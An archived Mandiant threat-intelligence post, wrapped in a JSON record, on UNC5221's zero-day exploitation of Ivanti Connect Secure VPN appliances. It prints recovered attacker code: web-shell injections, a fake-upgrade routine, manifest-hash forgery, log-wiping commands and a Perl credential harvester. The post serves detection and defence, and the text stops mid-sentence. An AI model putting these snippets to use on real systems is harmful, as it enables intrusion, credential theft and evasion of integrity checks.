{
	"id": "091660fd-ad21-431b-8b14-134e10d8efb2",
	"created_at": "2026-04-29T02:21:28.539016Z",
	"updated_at": "2026-04-29T08:22:40.212113Z",
	"deleted_at": null,
	"sha1_hash": "aec049fd73510166cf776328ac90c34f6e2fa002",
	"title": "Ivanti Connect Secure VPN Targeted in New Zero-Day Exploitation",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 545387,
	"plain_text": "Ivanti Connect Secure VPN Targeted in New Zero-Day\r\nExploitation\r\nBy Mandiant\r\nPublished: 2025-01-08 · Archived: 2026-04-29 02:09:42 UTC\r\nWritten by: John Wolfram, Josh Murchie, Matt Lin, Daniel Ainsworth, Robert Wallace, Dimiter Andonov,\r\nDhanesh Kizhakkinan, Jacob Thompson\r\nNote: This is a developing campaign under active analysis by Mandiant and Ivanti. We will continue to add more\r\nindicators, detections, and information to this blog post as needed. See the Changelog at the bottom of this post for\r\nmore details.\r\nOn Wednesday, Jan. 8, 2025, Ivanti disclosed two vulnerabilities, CVE-2025-0282 and CVE-2025-0283,\r\nimpacting Ivanti Connect Secure (“ICS”) VPN appliances. Mandiant has identified zero-day exploitation of CVE-2025-0282 in the wild beginning mid-December 2024. CVE-2025-0282 is an unauthenticated stack-based buffer\r\noverflow. Successful exploitation could result in unauthenticated remote code execution, leading to potential\r\ndownstream compromise of a victim network.\r\nIvanti and its affected customers identified the compromise based on indications from the company-supplied\r\nIntegrity Checker Tool (“ICT”) along with other commercial security monitoring tools. Ivanti has been working\r\nclosely with Mandiant, affected customers, government partners, and security vendors to address these issues. As\r\na result of their investigation, Ivanti has released patches for the vulnerabilities exploited in this campaign and\r\nIvanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as\r\npossible.\r\nMandiant attributes the activity described in this blog post to UNC5221. UNC5221 is a suspected China-nexus\r\nespionage actor that previously exploited two vulnerabilities CVE-2023-46805 and CVE-2024-21887 that\r\nimpacted Ivanti Connect Secure VPN appliances as early as December 2023. Following the successful\r\nexploitation of CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection), UNC5221\r\nleveraged multiple custom malware families including the ZIPLINE passive backdoor, THINSPOOL dropper,\r\nLIGHTWIRE web shell, and WARPWIRE credential harvester. UNC5221 was also observed leveraging the\r\nPySoxy tunneler and BusyBox to enable post-exploitation activity.\r\nMandiant previously attributed the SPAWN ecosystem of malware (which includes the SPAWNANT installer,\r\nSPAWNMOLE tunneler, and the SPAWNSNAIL SSH backdoor) to UNC5337. Since the publication of this blog\r\npost, Mandiant has merged UNC5337 into UNC5221.\r\nExploitation\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 1 of 19\n\nWhile CVE-2025-0282 affects multiple patch levels of ICS release 22.7R2, successful exploitation is version\r\nspecific. Prior to exploitation, repeated requests to the appliance have been observed, likely to determine the\r\nversion prior to attempting exploitation.\r\n/dana-cached/hc/hc_launcher.22.7.2.2615.jar\r\n/dana-cached/hc/hc_launcher.22.7.2.3191.jar\r\n/dana-cached/hc/hc_launcher.22.7.2.3221.jar\r\n/dana-cached/hc/hc_launcher.22.7.2.3431.jar\r\nVersion detection has been observed using the Host Checker Launcher, shown above, and the different client\r\ninstallers to determine the version of the appliance. HTTP requests from VPS providers or Tor networks to these\r\nURLs, especially in sequential version order, may indicate pre-exploitation reconnaissance.\r\nWhile there are several variations during the exploitation of CVE-2025-0282, the exploit and script generally\r\nperforms the following steps:\r\n1. Disable SELinux\r\n2. Prevent syslog forwarding\r\n3. Remount the drive as read-write\r\n4. Write the script\r\n5. Execute the script\r\n6. Deploy one or more web shells\r\n7. Use sed to remove specific log entries from the debug and application logs\r\n8. Reenable SELinux\r\n9. Remount the drive\r\nImmediately after exploitation the threat actor disables SELinux, uses iptables to block syslog forwarding, and\r\nremounts the root partition to enable writing of malware to the appliance.\r\nsetenforce 0\r\niptables -A OUTPUT -p udp --dport 514 -j DROP\r\niptables -A OUTPUT -p tcp --dport 514 -j DROP\r\niptables -A OUTPUT -p udp --dport 6514 -j DROP\r\niptables -A OUTPUT -p tcp --dport 6514 -j DROP\r\nmount -o remount,rw /\r\nMalware Staging\r\nMandiant observed the threat actor using the shell script to echo a Base64-encoded script into the /tmp/.t , and\r\nthen set execution permissions on the file. The figure below shows the contents of /tmp/.t .\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 2 of 19\n\n#!/bin/sh\r\nexport LD_LIBRARY_PATH=/home/lib/;export DSINSTALL=/home;\r\nexport PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/;\r\ndmesg -C;bash /tmp/s\u003e/tmp/kN;\r\nNext, the threat actor writes a Base-64 encoded ELF binary into /tmp/svb . The ELF binary first uses setuid to\r\nset the owner of the process to root. It then executes /tmp/s (PHASEJAM) which would inherit the root\r\nprivileges of the parent process. The threat actor then uses dd to overwrite the svb file with zeros, and removes\r\n/tmp/.t .\r\n/bin/chmod 6777 /tmp/svb;\r\n/tmp/svb;\r\n/bin/dd count=1 bs=4096 if=/dev/zero of=/tmp/svb;\r\n/bin/chmod 666 /tmp/svb;\r\n/bin/rm -rf /tmp/.t;\r\nPHASEJAM\r\nPHASEJAM is a dropper written as a bash shell script that maliciously modifies Ivanti Connect Secure appliance\r\ncomponents. The primary functions of PHASEJAM are to insert a web shell into the getComponent.cgi and\r\nrestAuth.cgi files, block system upgrades by modifying the DSUpgrade.pm file, and overwrite the\r\nremotedebug executable so that it can be used to execute arbitrary commands when a specific parameter is\r\npassed. \r\nWeb Shell\r\nPHASEJAM inserts the web shell into the legitimate files getComponent.cgi and restAuth.cgi as a function\r\nnamed AccessAllow() . The web shell is Perl-based and provides the threat actor with remote access and code\r\nexecution capabilities on the compromised ICS server. It utilizes the MIME::Base64 module to encode and\r\ndecode commands and data. \r\nThe table below summarizes the web shell’s functionality, accessible via specific commands derived from HTTP\r\nquery parameters:\r\nCommand Description\r\n1\r\nDecodes the code provided in the HTTP_CODE environment variable and writes the result into\r\na file named test.p under the /tmp directory. Executes the file using /bin/bash and\r\nreturns the output of the command execution to the attacker.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 3 of 19\n\n2\r\nSimilar to command 1 but executes the provided commands using /home/bin/dsrunpriv and\r\nthe patched remotedebug file.\r\n3\r\nWrites a file with a name specified in the HTTP_CODE environment variable under the /tmp\r\ndirectory with content provided in the License parameter. This functionality allows the\r\nattacker to upload arbitrary files on the compromised appliance.\r\n4\r\nReads the content of a file specified in the Base64-decoded HTTP_CODE environment variable\r\nand returns the content to the attacker. This enables the attacker to exfiltrate data from the\r\naffected appliance.\r\n5\r\nSimilar to command 3 but overwrites the target file instead of appending to it, in case it already\r\nexists on the appliance.\r\nBlocked and Simulated Upgrades\r\nTo intercept upgrade attempts and simulate an upgrade, PHASEJAM injects a malicious function into the\r\n/home/perl/DSUpgrade.pm file named processUpgradeDisplay() . The functionality is intended to simulate an\r\nupgrading process that involves thirteen steps, with each of those taking a predefined amount of time. If the ICS\r\nadministrator attempts an upgrade, the function displays a visually-convincing upgrade process that shows each of\r\nthe steps along with various numbers of dots to mimic a running process. Further details are provided in the\r\nSystem Upgrade Persistence section. \r\nremotedebug Hooking\r\nPHASEJAM renames the file /home/bin/remotedebug to remotedebug.bak . PHASEJAM writes a new\r\n/home/bin/remotedebug shell script to hook calls to remotedebug . The brief shell script checks for a new -c\r\nparameter that allows remote code execution by the web shell. All other parameters are passed through to\r\nremotedebug.bak .\r\nThe following provides an abridged PHASEJAM Sample:\r\n# create backdoor 1\r\ncp /home/webserver/htdocs/dana-na/jam/getComponent.cgi\r\n/home/webserver/htdocs/dana-na/jam/getComponent.cgi.bak\r\nsed -i 's/sub main {/sub main {my \\$r7=AccessAllow();return if\r\n\\$r7;/g' /home/webserver/htdocs/dana-na/jam/getComponent.cgi\r\nsh=$(echo CnN1YiB...QogICAK|base64 -d)\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 4 of 19\n\nup=$(echo CnN1YiB...xuIjsKCn0K |base64 -d)\r\ngrep -q 'sub AccessAllow()' || echo \"$sh\" \u003e\u003e\r\n/home/webserver/htdocs/dana-na/jam/getComponent.cgi\r\nsed -i \"s/$(grep /home/webserver/htdocs/dana-na/jam/getComponent.cgi\r\n/home/etc/manifest/manifest -a |grep\r\n-oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256\r\n/home/webserver/htdocs/dana-na/jam/getComponent.cgi |grep\r\n-oE '[0-9a-f]{64}')/g\" /home/etc/manifest/manifest;\r\n#pkill cgi-server\r\n# create backdoor 2\r\ncp /home/webserver/htdocs/dana-na/auth/restAuth.cgi\r\n/home/webserver/htdocs/dana-na/auth/restAuth.cgi.bak\r\nsed -i 's/sub main {/sub main {my \\$r7=AccessAllow();return if\r\n\\$r7;/g' /home/webserver/htdocs/dana-na/auth/restAuth.cgi\r\ngrep -q 'sub AccessAllow()' echo \"$sh\" \u003e\u003e\r\n/home/webserver/htdocs/dana-na/auth/restAuth.cgi\r\nsed -i \"s/$(grep /home/webserver/htdocs/dana-na/auth/restAuth.cgi\r\n/home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl\r\ndgst -sha256 /home/webserver/htdocs/dana-na/auth/restAuth.cgi |grep\r\n-oE '[0-9a-f]{64}')/g\" /home/etc/manifest/manifest;\r\n#pkill cgi-server\r\n# remotedebug\r\ncp -f /home/bin/remotedebug /home/bin/remotedebug.bak\r\necho IyEvYmluL2Jhc2gKaWYgWyAiJDEiID09ICItYyIgXTsgdGhlbgoJYm\r\nFzaCAiJEAiCmVsc2UKCWV4ZWMgL2hvbWUvYmluL3JlbW90ZWRlYnV\r\nnLmJhayAiJEAiCmZpICAK|base64 -d \u003e/home/bin/remotedebug\r\nchmod 777 /home/bin/remotedebug.bak\r\nsed -i \"s/$(grep /home/bin/remotedebug /home/etc/manifest/manifest\r\n-a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256\r\n/home/bin/remotedebug |grep -oE '[0-9a-f]{64}')/g\"\r\n/home/etc/manifest/manifest;\r\n# upgrade\r\ncp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 5 of 19\n\nsed -i 's/popen(\\*FH, \\$prog);/processUpgradeDisplay(\\$prog,\r\n\\$console, \\$html);return 0;popen(\\*FH, \\$prog);/g'\r\n/home/perl/DSUpgrade.pm\r\ngrep -q 'sub processUpgradeDisplay()' || echo \"$up\" \u003e\u003e\r\n/home/perl/DSUpgrade.pm\r\nsed -i \"s/$(grep /home/perl/DSUpgrade.pm /home/etc/manifest/manifest\r\n-a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256\r\n/home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g\"\r\n/home/etc/manifest/manifest;\r\npkill cgi-server\r\nAnti-Forensics\r\nFollowing exploitation, the threat actor has been observed removing evidence of exploitation from several key\r\nareas of the appliance:\r\n1. Clearing kernel messages using dmesg and removing entries from the debug logs that are generated\r\nduring the exploit\r\n2. Deleting troubleshoot information packages (state dumps) and any core dumps generated from process\r\ncrashes\r\n3. Removing log application event log entries related to syslog failures, internal ICT failures, crash traces,\r\nand certificate handling errors\r\n4. Removing executed commands from the SELinux audit log\r\ndmesg -C\r\ncd /data/var/dlogs/\r\nsed -i '/segfault/d' debuglog\r\nsed -i '/segfault/d' debuglog.old\r\nsed -i '/SystemError/d' debuglog\r\nsed -i '/SystemError/d' debuglog.old\r\nsed -i '/ifttls/d' debuglog\r\nsed -i '/ifttls/d' debuglog.old\r\nsed -i '/main.cc/d' debuglog\r\nsed -i '/main.cc/d' debuglog.old\r\nsed -i '/SSL_read/d' debuglog\r\nsed -i '/SSL_read/d' debuglog.old\r\nsed -i '/tlsconnectionpoint/d' debuglog\r\nsed -i '/tlsconnectionpoint/d' debuglog.old\r\nrm -rf /data/var/statedumps/*\r\nrm -rf /data/var/cores/*\r\ncd /home/runtime/logs\r\nsed -i 's/[^\\x00]\\{1\\}\\x00[^\\x00]*web server[^\\x00]*\\x00//g' log.events.vc0\r\nsed -i 's/[^\\x00]\\{1\\}\\x00[^\\x00]*AUT24604[^\\x00]*\\x00//g' log.events.vc0\r\nsed -i 's/[^\\x00]\\{1\\}\\x00[^\\x00]*SYS31048[^\\x00]*\\x00//g' log.events.vc0\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 6 of 19\n\nsed -i 's/[^\\x01]\\{1\\}\\x01[^\\x01]*SYS31376[^\\x01]*\\x01//g' log.events.vc0\r\nsed -i 's/\\x01[^\\x01]\\{2,3\\}6[^\\x01]*ERR10073[^\\xff]*\\x09[^\\x01]\\{1\\}\\x01/\r\n\\x01/g' log.events.vc0\r\ncd /data/var/log/audit/\r\nsed -i '/bin\\/web/d' audit.log\r\nsed -i '/setenforce/d' audit.log\r\nsed -i '/mount/d' audit.log\r\nsed -i '/bin\\/rm/d' audit.log\r\nSystem Upgrade Persistence\r\nMandiant identified two techniques the threat actor employed to persist across system upgrades on compromised\r\nIvanti Connect Secure appliances.\r\nFake System Upgrades\r\nThe first technique, utilized by PHASEJAM, prevents legitimate ICS system upgrade attempts by administrators\r\nvia rendering a fake HTML upgrade progress bar while silently blocking the legitimate upgrade process. Due to\r\nthe blocked upgrade attempt, the technique would allow any installed backdoors or tools left by the threat actor to\r\npersist on the current running version of the VPN while giving the appearance of a successful upgrade.  \r\nFirst, the threat actor uses sed to insert a malicious Perl code into DSUpgrade.pm to modify the behavior of the\r\nsystem upgrade process. The malicious processUpgradeDisplay() function, which is stored in the shell variable\r\n$up , is appended to DSUpgrade.pm .\r\nsed -i 's/popen(\\*FH, \\$prog);/processUpgradeDisplay(\\$prog,\r\n\\$console, \\$html);return 0;popen(\\*FH, \\$prog);/g'\r\n/home/perl/DSUpgrade.pm\r\ngrep -q 'sub processUpgradeDisplay()' || echo \"$up\" \u003e\u003e\r\n/home/perl/DSUpgrade.pm\r\nThe modification occurs within a function in DSUpgrade.pm responsible for installing the new upgrade package.\r\nThe inserted call to processUpgradeDisplay() with the early return makes the legitimate popen() call to\r\nexecute /pkg/dspkginstall unreachable. The following provides the relevant excerpt from DSUpgrade.pm as a\r\nresult of the modification.\r\nlocal *FH;\r\nmy $prog = \"/pkg/dspkginstall /var/tmp/new-pack.tgz\";\r\nif (defined $useUpgradePartition \u0026\u0026 $useUpgradePartition == 1) {\r\n $prog = \"/pkg/dspkginstall /data/upgrade/new-pack.tgz\";\r\n}\r\nprocessUpgradeDisplay($prog, $console, $html);\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 7 of 19\n\nreturn 0;\r\npopen(*FH, $prog);\r\nThe modification intercepts the standard upgrade flow by calling the maliciously created\r\nprocessUpgradeDisplay() function before the legitimate upgrade command executes. The figure below provides\r\nan excerpt of the inserted processUpgradeDisplay() function that displays a fake HTML upgrade progress bar,\r\nusing the sleep command to add dots every second to mimic a running process.\r\n$mystep = 13;\r\n$count = 0;\r\n$sleep_time = 2;\r\n$myline = \"Finalizing installation\";\r\nprint $html \"\u003cli style=\\\"margin:6px;\\\"\u003eStep $mystep: $myline ...\";\r\nprint $console \"$myline ...\";\r\nwhile ($count \u003c $sleep_time) {\r\n system(\"/bin/sleep 1\");\r\n print $html \".\";\r\n print $console \".\";\r\n ++$count;\r\n}\r\nprint $html \" complete ($sleep_time seconds)\u003c/li\u003e\\n\";\r\nprint $console \" complete ($sleep_time seconds)\\r\\n\";\r\nRecent versions of Ivanti Connect Secure have a built-in integrity checker tool (ICT) that periodically scans the\r\nfile system to detect new or modified system files that may be indicative of system compromise. The ICT uses a\r\nmanifest during its scanning process, containing a list of the expected file paths on the system along with its\r\nexpected SHA256 hash. In an attempt to circumvent the ICT scanner, the threat actor recalculates the SHA256\r\nhash of the modified DSUpgrade.pm and inserts it into the manifest.\r\nsed -i \"s/$(grep /home/perl/DSUpgrade.pm\r\n/home/etc/manifest/manifest -a |grep -oE\r\n'[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256\r\n/home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g\"\r\n/home/etc/manifest/manifest;\r\nThe threat actor copies the VERSION file from the mounted upgrade partition ( tmp/root/home/VERSION ) to the\r\ncurrent version partition ( /home/VERSION ). As a result, the system falsely indicates a successful upgrade while\r\ncontinuing to run on the old appliance version.\r\nchdir(\"/tmp\");\r\nsystem(\"/bin/mkdir\", \"-p\", \"root/home\");\r\nsystem(\"/bin/tar\", \"-xzf\", $tgz_path, \"./root/home/VERSION\");\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 8 of 19\n\nsystem(\"/bin/cp -f ./root/home/VERSION /data/versions/reset/VERSION\");\r\nsystem(\"/bin/cp -f ./root/home/VERSION /home/VERSION\");\r\nThe SHA256 hash of the VERSION file from the upgrade partition is recalculated and inserted into the ICT\r\nmanifest.\r\nsystem('sed -i \\'s/$(grep /home/VERSION|grep\r\n-oE \"[0-9a-f]{64}\")/$(/home/bin/openssl dgst -sha256\r\n/home/VERSION)/g\\' /home/etc/manifest/manifest');\r\nPersistence Across Upgrades\r\nSPAWNANT ( libupgrade.so ) is an ELF32 executable that installs three components from the SPAWN family:\r\n1. SPAWNMOLE tunneler ( libsocks5.so )\r\n2. SPAWNSNAIL SSH backdoor ( libsshd.so )\r\n3. SPAWNSLOTH log tampering utility ( .liblogblock.so )\r\nSPAWNANT and its supporting components can persist across system upgrades. It hijacks the execution flow of\r\ndspkginstall , a binary used during the system upgrade process, by exporting a malicious snprintf function\r\ncontaining the persistence mechanism.\r\nUnlike the first method described in this blog post for system upgrade persistence, SPAWNANT does not block\r\nthe upgrade process. It survives the upgrade process by ensuring itself and its components are migrated to the new\r\nupgrade partition (mounted on /tmp/data/ during a legitimate system upgrade process).\r\ncp /lib/libupgrade.so /tmp/data/root/lib\r\ncp /home/lib/libsocks5.so /tmp/data/root/home/lib\r\ncp /home/lib/libsshd.so /tmp/data/root/home/lib\r\nSPAWNANT sets the LD_PRELOAD environment variable to itself ( libupgrade.so ) within DSUpgrade.pm on the\r\nupgrade partition. The modification tells the dynamic linker to load libupgrade.so and use SPAWNANT’s\r\nmalicious exported snprintf function before other libraries.\r\nENV{“LD_PRELOAD”} = “libupgrade.so”\r\nNext, SPAWNANT establishes an additional method of backdoor access by writing a web shell into\r\ncompcheckresult.cgi on the upgrade partition. The web shell uses system() to execute the value passed to a\r\nhard-coded query parameter. The following provides the relevant excerpt of the inserted web shell.\r\nif(CGI::param(\"\u003credacted\u003e\")) {\r\nprint \"Cache-Control: no-cache\";\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 9 of 19\n\nprint \"Content-type: text/html\";\r\nmy $a=CGI::param(\"\u003credacted\u003e\");\r\nsystem(\"$a\");\r\n}\r\nThroughout this entire process, SPAWNANT is careful to circumvent the ICT by recalculating the SHA256 hash\r\nfor any maliciously modified files. Once the appropriate modifications are complete, SPAWNANT generates a\r\nnew RSA key pair to sign the modified manifest.\r\n/home/bin/openssl genrsa -out private.pem 2048\r\n/home/bin/openssl rsa -in private.pem -out manifest.2\r\n-outform PEM -pubout\r\n/home/bin/openssl dgst -sha512 -sign private.pem -out\r\nmanifest.1 /tmp/data/root/home/etc/manifest/manifest\r\nmv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/\r\nrm -f private.pem'\r\nPost Exploitation\r\nTunnelers\r\nAfter establishing an initial foothold on an appliance, Mandiant observed a number of different tunnelers,\r\nincluding the use of publicly-available and open-source tunnelers, designed to facilitate communication channels\r\nbetween the compromised appliance and the threat actor’s command and control infrastructure. These tunnelers\r\nallowed the attacker to bypass network security controls and may enable lateral movement further into a victim\r\nenvironment.\r\nSPAWNMOLE \r\nOriginally reported in Cutting Edge, Part 4, SPAWNMOLE is a tunneler injected into the web process. It hijacks\r\nthe accept function in the web process to monitor traffic and filter out malicious traffic originating from the\r\nattacker. SPAWNMOLE is activated when it detects a specific series of magic bytes. Otherwise, the remainder of\r\nthe benign traffic is passed unmodified to the legitimate web server functions. The malicious traffic is tunneled to\r\na host provided by an attacker in the buffer.\r\nLDAP Queries\r\nThe threat actor used several tools to perform internal network reconnaissance. This includes using built-in tools\r\nincluded on the ICS appliance such as nmap and dig to determine what can be accessed from the appliance.\r\nThe threat actor has also been observed using the LDAP service account, if configured, from the ICS appliance to\r\nperform LDAP queries. The LDAP service account was also observed being used to move laterally within the\r\nnetwork, including Active Directory servers, through SMB or RDP. The observed attacker commands were\r\nprefaced by the following lines:\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 10 of 19\n\n#!/bin/sh\r\nexport LD_LIBRARY_PATH=/home/lib/;\r\nexport DSINSTALL=/home;\r\nexport PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/;\r\ndmesg -c;\r\n\u003ccommands\u003e\r\nThe following reconnaissance commands were seen executed by the threat actor prior to LDAP queries:\r\ndig @\u003cIP ADDRESS\u003e \u003cVICTIM DOMAIN\u003e A\r\nnmap -Pn -sT -p 80,443,445 \u003cIP ADDRESS\u003e --open\r\nLDAP queries were executed using /tmp/lmdbcerr , with output directed to randomly named files in the /tmp\r\ndirectory. Password, host, and query were passed as command line arguments.\r\n/tmp/lmdbcerr [redacted] -u 'CN=[redacted],CN=Managed Service\r\nAccounts,DC=[redacted]' -p '[redacted]' -h \u003cIP ADDRESS\u003e --tls --dn\r\nDC=[redacted] -o /tmp/\u003cRANDOM STRING\u003e\r\n/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '\u003cPASSWORD\u003e' -h\r\napi-[redacted].duosecurity.com --tls --dn dc=[redacted] -o\r\n/tmp/\u003cRANDOM STRING\u003e\r\n/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '\u003cPASSWORD\u003e' -h\r\napi-[redacted].duosecurity.com --tls --filter '(cn=*)' --dn dc=[redacted]\r\n-o /tmp/\u003cRANDOM STRING\u003e\r\n/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '\u003cPASSWORD\u003e'\r\n-h api-[redacted].duosecurity.com --tls --filter '(distinguishedName=*)'\r\n--dn dc=[redacted] -o /tmp/\u003cRANDOM STRING\u003e\r\n/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '\u003cPASSWORD\u003e'\r\n-h api-[redacted].duosecurity.com --tls --filter '(dn=*)' --dn dc=[redacted]\r\n-o /tmp/\u003cRANDOM STRING\u003e\r\nAppliance Cache Database Theft\r\nMandiant has observed the threat actor archiving the database cache on a compromised appliance and staging the\r\narchived data in a directory served by the public-facing web server to enable exfiltration of the database. The\r\ndatabase cache may contain information associated with VPN sessions, session cookies, API keys, certificates, and\r\ncredential material. \r\nThe threat actor archives the contents of /runtime/mtmp/lmdb . The resulting tar archive is then renamed and\r\nmasquerades itself as a CSS file located within /home/webserver/htdocs/dana-na/css/ . \r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 11 of 19\n\nIvanti has previously published guidance on remediating the risk that may result from the database cache dump.\r\nThis includes resetting local account credentials, resetting API keys, and revoking certificates.\r\nCredential Harvesting\r\nMandiant has observed the threat actor deploying a Python script, tracked as DRYHOOK, to steal credentials. The\r\nmalware is designed to modify a system component named DSAuth.pm that belongs to the Ivanti Connect Secure\r\nenvironment in order to harvest successful authentications.\r\nUpon execution, the malicious Python script opens /home/perl/DSAuth.pm and reads its content in a buffer.\r\nNext, the malware uses regular expressions to find and replace the following lines of code:\r\n*setPrompt\r\n*runSignin = *DSAuthc::RealmSignin_runSignin;\r\n*runSigninEBSL\r\nThe *setPrompt value above is replaced with the following Perl code:\r\n# *setPrompt\r\n$ds_g=\"\";\r\nsub setPrompt{\r\n eval{\r\n my $res=@_[1].\"=\".@_[2].\"\\n\";\r\n $ds_g .= $res;\r\n };\r\n return DSAuthc::RealmSignin_setPrompt(@_);\r\n}\r\n$ds_e=\"\";\r\nThe injected setPrompt routine captures the second and the third parameter, combines them into the format\r\n\u003cparam2\u003e=\u003cparam3\u003e and then assigns the produced string to a global variable named $ds_g . The next\r\nreplacement, shown as follows, reveals that the second parameter is a username, and the third parameter is the\r\npassword of a user trying to authenticate.\r\n# *runSignin = *DSAuthc::RealmSignin_runSignin;\r\n$ds_g1=\"\";\r\nsub encode_base64 ($;$)\r\n{\r\n my $res = \"\";\r\n my $eol = $_[1];\r\n $eol = \"\\n\" unless defined $eol;\r\n pos($_[0]) = 0; # ensure start at the beginning\r\n $res = join '', map( pack('u',$_)=~ /^.(\\S*)/, ($_[0]=~/(.{1,45})/gs));\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 12 of 19\n\n$res =~ tr|` -_|AA-Za-z0-9+/|; # `# help emacs\r\n # fix padding at the end\r\n my $padding = (3 - length($_[0]) % 3) % 3;\r\n $res =~ s/.{$padding}$/'=' x $padding/e if $padding;\r\n return $res;\r\n}\r\nsub runSignin{\r\n my $res=DSAuthc::RealmSignin_runSignin(@_);\r\n if(@_[1]-\u003e{status} != $DSAuth::Reject \u0026\u0026\r\n @_[1]-\u003e{status} != $DSAuth::Restart){\r\n if($ds_g ne \"\"){\r\n CORE::open(FH,\"\u003e\u003e/tmp/cmdmmap.kuwMW\");\r\n my $dd=RC4(\"redacted\",$ds_g);\r\n print FH encode_base64($dd).\"\\n\";\r\n CORE::close(FH);\r\n $ds_g = \"\";\r\n }\r\n }\r\n elsif(@_[1]-\u003e{status} == $DSAuth::Reject ||\r\n @_[1]-\u003e{status} == $DSAuth::Restart){\r\n $ds_g = \"\";\r\n }\r\n return $res;\r\n}\r\n$ds_e1=\"\";\r\nThe code above contains two subroutines named encode_base64 and runSignin . The former takes a string and\r\nBase64 encodes it, while the latter intercepts the sign-in process and upon a successful attempt serializes the saved\r\ncredentials into the global variable $ds_g username and password in a file named cmdmmap.kuwMW under the\r\n/tmp directory. The \u003cusername\u003e=\u003cpassword\u003e string is first RC4 encrypted with a hard-coded key and then\r\nBase64 encoded with the encode_base64 routine before being saved into the cmdmmap.kuwMW file.\r\nThe last code replacement is shown as follows, and it is the same code as above, but it targets a different sign-in\r\nscheme that is named EBSL in the code.\r\n# *runSigninEBSL\r\n$ds_g2=\"\";\r\nsub runSigninEBSL{\r\n my $res=DSAuthc::RealmSignin_runSigninEBSL(@_);\r\n if(@_[1]-\u003e{status} != $DSAuth::Reject \u0026\u0026\r\n @_[1]-\u003e{status} != $DSAuth::Restart){\r\n if($ds_g ne \"\"){\r\n use Crypt::RC4;\r\n CORE::open(FH,\"\u003e\u003e/tmp/cmdmmap.kuwMW\");\r\n my $dd=RC4(\"redacted\",$ds_g);\r\n print FH encode_base64($dd).\"\\n\";\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 13 of 19\n\nCORE::close(FH);\r\n $ds_g = \"\";\r\n }\r\n }\r\n elsif(@_[1]-\u003e{status} == $DSAuth::Reject ||\r\n @_[1]-\u003e{status} == $DSAuth::Restart){\r\n $ds_g = \"\";\r\n }\r\n return $res;\r\n}\r\n$ds_e2=\"\";\r\nAfter the changes are made, the malware attempts to write the modified content back to the DSAuth.pm file, and\r\nif unsuccessful, it will remount the file system as readwrite, write the file, and then mount the file system as\r\nreadonly again. Finally, all instances of the cgi-server process are killed in order for the modified DSAuth.pm\r\nto be activated.\r\nAttribution\r\nMandiant has merged UNC5337 into UNC5221, confirming initial suspicion that these clusters of activity were\r\nlikely related. Apart from CVE-2023-46805 and CVE-2024-21887, Mandiant has previously observed UNC5221\r\nconducting zero day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway\r\nappliances. UNC5221 has targeted a wide range of countries and verticals during their operations and has\r\nleveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on\r\nappliances. Additionally, Mandiant previously observed UNC5221 leveraging a likely ORB network of\r\ncompromised Cyberoam appliances to enable intrusion operations. \r\nConclusion\r\nFollowing the Jan. 10, 2024, disclosure of CVE-2023-46805 and CVE-2024-21887, Mandiant observed\r\nwidespread exploitation by UNC5221 targeting Ivanti Connect Secure appliances across a wide range of countries\r\nand verticals. Mandiant assesses that defenders should be prepared for widespread, opportunistic exploitation,\r\nlikely targeting credentials and the deployment of web shells to provide future access. Additionally, if proof-of-concept exploits for CVE-2025-0282 are created and released, Mandiant assesses it is likely additional threat\r\nactors may attempt targeting Ivanti Connect Secure appliances.\r\nRecommendations\r\nIvanti recommends utilizing their external and internal Integrity Checker Tool (“ICT”) and to contact Ivanti\r\nSupport if suspicious activity is identified. While Mandiant has observed threat actor attempts to evade detection\r\nby the ICT, the following screenshots provide examples of how a successful scan should appear versus an\r\nunsuccessful scan on a device that has been compromised. Note the number of steps reported by the output.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 14 of 19\n\nExternal ICT Scan - Successful\r\nExternal ICT Scan - Unsuccessful (limited number of steps performed)\r\nIvanti also notes that the ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat\r\nactor activity if they have returned the 